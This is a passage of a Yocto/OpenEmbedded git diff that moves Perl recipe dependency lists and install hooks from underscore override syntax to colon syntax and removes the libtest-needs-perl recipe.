+RDEPENDS:perl-module-sys-syslog += "perl-module-socket"
+RDEPENDS:perl-module-sys-syslog += "perl-module-strict"
+RDEPENDS:perl-module-sys-syslog += "perl-module-sys-hostname"
+RDEPENDS:perl-module-sys-syslog += "perl-module-vars"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings-register"
+RDEPENDS:perl-module-sys-syslog += "perl-module-xsloader"
+RDEPENDS:perl-module-tap-base += "perl-module-base"
+RDEPENDS:perl-module-tap-base += "perl-module-constant"
+RDEPENDS:perl-module-tap-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-constant"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-tap-object"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness += "perl-module-base"
+RDEPENDS:perl-module-tap-harness += "perl-module-file-path"
+RDEPENDS:perl-module-tap-harness += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-harness += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness += "perl-module-warnings"
+RDEPENDS:perl-module-tap-object += "perl-module-strict"
+RDEPENDS:perl-module-tap-object += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-benchmark"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-io-select"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser += "perl-module-base"
+RDEPENDS:perl-module-tap-parser += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-grammar"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-result"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
+RDEPENDS:perl-module-tap-parser += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-exporter"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-strict"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-warnings"
+RDEPENDS:perl-module-term-cap += "perl-module-strict"
+RDEPENDS:perl-module-term-cap += "perl-module-vars"
+RDEPENDS:perl-module-term-complete += "perl-module-exporter"
+RDEPENDS:perl-module-term-complete += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-term-cap"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-module += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-module += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-module += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder += "perl-module-data-dumper"
+RDEPENDS:perl-module-test-builder += "perl-module-overload"
+RDEPENDS:perl-module-test-builder += "perl-module-strict"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-formatter"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-tododiag"
+RDEPENDS:perl-module-test-builder += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-tododiag += "perl-module-warnings"
+RDEPENDS:perl-module-test-harness += "perl-module-base"
+RDEPENDS:perl-module-test-harness += "perl-module-config"
+RDEPENDS:perl-module-test-harness += "perl-module-constant"
+RDEPENDS:perl-module-test-harness += "perl-module-strict"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-harness"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-aggregator"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-test-harness += "perl-module-text-parsewords"
+RDEPENDS:perl-module-test-harness += "perl-module-warnings"
+RDEPENDS:perl-module-test-more += "perl-module-strict"
+RDEPENDS:perl-module-test-more += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-more += "perl-module-warnings"
+RDEPENDS:perl-module-test += "perl-module-exporter"
+RDEPENDS:perl-module-test += "perl-module-file-temp"
+RDEPENDS:perl-module-test += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-config"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-warnings"
+RDEPENDS:perl-module-test-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-capturerunner"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-delegate"
+RDEPENDS:perl-module-test-tester += "perl-module-vars"
+RDEPENDS:perl-module-text-abbrev += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-overload"
+RDEPENDS:perl-module-text-balanced += "perl-module-selfloader"
+RDEPENDS:perl-module-text-balanced += "perl-module-strict"
+RDEPENDS:perl-module-text-balanced += "perl-module-vars"
+RDEPENDS:perl-module-text-parsewords += "perl-module-exporter"
+RDEPENDS:perl-module-text-parsewords += "perl-module-strict"
+RDEPENDS:perl-module-text-tabs += "perl-module-exporter"
+RDEPENDS:perl-module-text-tabs += "perl-module-strict"
+RDEPENDS:perl-module-text-tabs += "perl-module-vars"
+RDEPENDS:perl-module-text-wrap += "perl-module-exporter"
+RDEPENDS:perl-module-text-wrap += "perl-module-re"
+RDEPENDS:perl-module-text-wrap += "perl-module-strict"
+RDEPENDS:perl-module-text-wrap += "perl-module-text-tabs"
+RDEPENDS:perl-module-text-wrap += "perl-module-vars"
+RDEPENDS:perl-module-text-wrap += "perl-module-warnings-register"
+RDEPENDS:perl-module-thread += "perl-module-config"
+RDEPENDS:perl-module-thread += "perl-module-exporter"
+RDEPENDS:perl-module-thread += "perl-module-strict"
+RDEPENDS:perl-module-thread += "perl-module-threads"
+RDEPENDS:perl-module-thread += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread += "perl-module-warnings"
+RDEPENDS:perl-module-thread-queue += "perl-module-strict"
+RDEPENDS:perl-module-thread-queue += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-queue += "perl-module-warnings"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-config"
+RDEPENDS:perl-module-threads += "perl-module-overload"
+RDEPENDS:perl-module-threads += "perl-module-strict"
+RDEPENDS:perl-module-threads += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-xsloader"
+RDEPENDS:perl-module-threads-shared += "perl-module-config"
+RDEPENDS:perl-module-threads-shared += "perl-module-strict"
+RDEPENDS:perl-module-threads-shared += "perl-module-warnings"
+RDEPENDS:perl-module-threads-shared += "perl-module-xsloader"
+RDEPENDS:perl-module-tie-array += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-fcntl"
+RDEPENDS:perl-module-tie-file += "perl-module-posix"
+RDEPENDS:perl-module-tie-file += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-warnings"
+RDEPENDS:perl-module-tie-handle += "perl-module-tie-stdhandle"
+RDEPENDS:perl-module-tie-handle += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-hash-namedcapture += "perl-module-strict"
+RDEPENDS:perl-module-tie-hash += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-memoize += "perl-module-strict"
+RDEPENDS:perl-module-tie-memoize += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-refhash += "perl-module-config"
+RDEPENDS:perl-module-tie-refhash += "perl-module-overload"
+RDEPENDS:perl-module-tie-refhash += "perl-module-strict"
+RDEPENDS:perl-module-tie-refhash += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-refhash += "perl-module-vars"
+RDEPENDS:perl-module-tie-scalar += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-strict"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-tie-handle"
+RDEPENDS:perl-module-tie-substrhash += "perl-module-integer"
+RDEPENDS:perl-module-time-gmtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-gmtime += "perl-module-strict"
+RDEPENDS:perl-module-time-gmtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-hires += "perl-module-exporter"
+RDEPENDS:perl-module-time-hires += "perl-module-strict"
+RDEPENDS:perl-module-time-hires += "perl-module-xsloader"
+RDEPENDS:perl-module-time-local += "perl-module-config"
+RDEPENDS:perl-module-time-local += "perl-module-constant"
+RDEPENDS:perl-module-time-local += "perl-module-exporter"
+RDEPENDS:perl-module-time-local += "perl-module-parent"
+RDEPENDS:perl-module-time-local += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-localtime += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-piece += "perl-module-constant"
+RDEPENDS:perl-module-time-piece += "perl-module-exporter"
+RDEPENDS:perl-module-time-piece += "perl-module-integer"
+RDEPENDS:perl-module-time-piece += "perl-module-overload"
+RDEPENDS:perl-module-time-piece += "perl-module-strict"
+RDEPENDS:perl-module-time-piece += "perl-module-time-local"
+RDEPENDS:perl-module-time-piece += "perl-module-time-seconds"
+RDEPENDS:perl-module-time-piece += "perl-module-xsloader"
+RDEPENDS:perl-module-time-seconds += "perl-module-constant"
+RDEPENDS:perl-module-time-seconds += "perl-module-exporter"
+RDEPENDS:perl-module-time-seconds += "perl-module-overload"
+RDEPENDS:perl-module-time-seconds += "perl-module-strict"
+RDEPENDS:perl-module-time-tm += "perl-module-class-struct"
+RDEPENDS:perl-module-time-tm += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-base"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-constant"
+RDEPENDS:perl-module-unicode-collate += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-strict"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-charnames"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-feature"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-if"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-integer"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-re"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-strict"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-unicode-normalize"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-warnings"
+RDEPENDS:perl-module-user-grent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-grent += "perl-module-exporter"
+RDEPENDS:perl-module-user-grent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-pwent += "perl-module-config"
+RDEPENDS:perl-module-user-pwent += "perl-module-exporter"
+RDEPENDS:perl-module-user-pwent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-warnings"
+RDEPENDS:perl-module-version += "perl-module-strict"
+RDEPENDS:perl-module-version += "perl-module-version-regex"
+RDEPENDS:perl-module-version += "perl-module-warnings-register"
+RDEPENDS:perl-module-version-regex += "perl-module-strict"
+RDEPENDS:perl-module-xsloader += "perl-module-dynaloader"
diff --git a/meta/recipes-devtools/perl/liberror-perl_0.17029.bb b/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
index 038808f0cd..e38d32ac46 100644
--- a/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
+++ b/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
@@ -11,7 +11,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=8f3499d09ee74a050c0319391ff9d100"
DEPENDS += "perl"
-RDEPENDS_${PN} += " \
+RDEPENDS:${PN} += " \
perl-module-carp \
perl-module-exporter \
perl-module-scalar-util \
@@ -21,7 +21,7 @@ RDEPENDS_${PN} += " \
perl-module-warnings \
"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-base \
perl-module-file-spec \
perl-module-io-handle \
@@ -39,7 +39,7 @@ S = "${WORKDIR}/Error-${PV}"
inherit cpan ptest-perl
-do_install_prepend() {
+do_install:prepend() {
# test requires "-T" (taint) command line option
rm -rf ${B}/t/pod-coverage.t
}
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb b/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
index a6fd7b1c07..8af38ba601 100644
--- a/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
+++ b/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
@@ -35,7 +35,7 @@ do_patch[postfuncs] += "do_patch_module_build"
EXTRA_CPAN_BUILD_FLAGS = "--create_packlist=0"
-do_install_append () {
+do_install:append () {
rm -rf ${D}${docdir}/perl/html
}
@@ -55,7 +55,7 @@ do_install_ptest() {
rm -rf ${D}${PTEST_PATH}/_build/magicnum
}
-RDEPENDS_${PN} += " \
+RDEPENDS:${PN} += " \
perl-module-carp \
perl-module-cpan \
perl-module-config \
@@ -87,7 +87,7 @@ RDEPENDS_${PN} += " \
perl-module-utf8 \
"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
packagegroup-core-buildessential \
perl-dev \
perl-module-blib \
@@ -104,7 +104,7 @@ RDEPENDS_${PN}-ptest += " \
perl-module-test-more \
"
-RPROVIDES_${PN} += "\
+RPROVIDES:${PN} += "\
libmodule-build-base-perl \
libmodule-build-compat-perl \
libmodule-build-config-perl \
@@ -118,6 +118,6 @@ RPROVIDES_${PN} += "\
"
# t/xs.t RDEPENDS on "EXTERN.h" provided by perl-dev
-INSANE_SKIP_${PN}-ptest = "dev-deps"
+INSANE_SKIP:${PN}-ptest = "dev-deps"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
deleted file mode 100644
index c44ee6340c..0000000000
--- a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Skip tests when modules not available"
-DESCRIPTION = "Skip test scripts if modules are not available. \
-The requested modules will be loaded, and optionally have their versions \
-checked. If the module is missing, the test script will be skipped. Modules \
-that are found but fail to compile will exit with an error rather than skip."
-
-HOMEPAGE = "https://metacpan.org/release/Test-Needs"
-SECTION = "libs"
